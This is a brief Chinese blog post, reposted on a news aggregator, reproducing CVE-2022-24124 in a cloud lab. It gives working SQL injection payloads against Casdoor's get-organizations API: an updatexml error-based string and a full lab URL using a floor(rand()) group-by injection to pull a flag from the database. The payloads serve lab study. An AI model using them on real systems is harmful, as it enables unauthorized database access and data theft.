鼎泰网
【春秋云境】CVE-2022-24124复现
创始人
2024-03-08 10:24:38
0次

在这里插入图片描述

一直不明白updatexml到底要怎么注入
&field=updatexml(0,concat(0x7e,(version()),0x7e),0)
确实可以出来版本号
在这里插入图片描述
但是如果换成database()还是不行
在这里插入图片描述

最后还是靠了大佬

http://eci-2ze625l338u3rfrh3r36.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=(select 1 from (select count(*), concat((select concat(',',id,flag) from casdoor.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

上一篇：最高法：职务犯罪案量增两成，惩处沈德咏等30名原中管干部

下一篇：Ubuntu搭建Hadoop环境

相关内容

热门资讯

夫妻或情侣之间互发亲密照要不要... 2026年1月1日起，新修订的《中华人民共和国治安管理处罚法》将正式施行。近日，有媒体报道称，“明年...
权威离婚律师推荐：四川胡云律师... 在离婚纠纷日益复杂的当下，寻找一位权威且靠谱的离婚律师至关重要。那么，怎样的离婚律师才是的？收费标准...
尹锡悦，涉嫌受贿被起诉 综合新华社、央视新闻消息，当地时间24日，“金建希特检组”以 涉嫌受贿起诉韩国前总统尹锡悦， 并向其...
两名台湾籍犯罪嫌疑人被警方悬赏...
靖国神社被起诉！ 当地时间23日，二战时期被日军强制征兵的部分韩籍遇难者遗属向首尔中央地方法院提起诉讼， 要求日本靖国...
山东省群众举报枪爆危险物品违法... 来源：治安支队
最新！靖国神社被起诉 据央视新闻，当地时间23日，二战时期被日军强制征兵的部分韩籍遇难者遗属向首尔中央地方法院提起诉讼，要...
靖国神社，被起诉！ 当地时间23日，二战时期被日军强制征兵的部分韩籍遇难者遗属向首尔中央地方法院提起诉讼，要求日本靖国神...
国台办：为“台独”分裂势力为虎... 中新社北京12月24日电 (陈建新 李百加)国务院台办发言人彭庆恩24日在北京表示，凡危害国家主权、...
怀宁县清河乡“一站式”调解架起... 诉求“只进一扇门”，调处“最多跑一地”。在怀宁县清河乡，这不仅仅是一句口号，更是当地群众化解矛盾纠纷...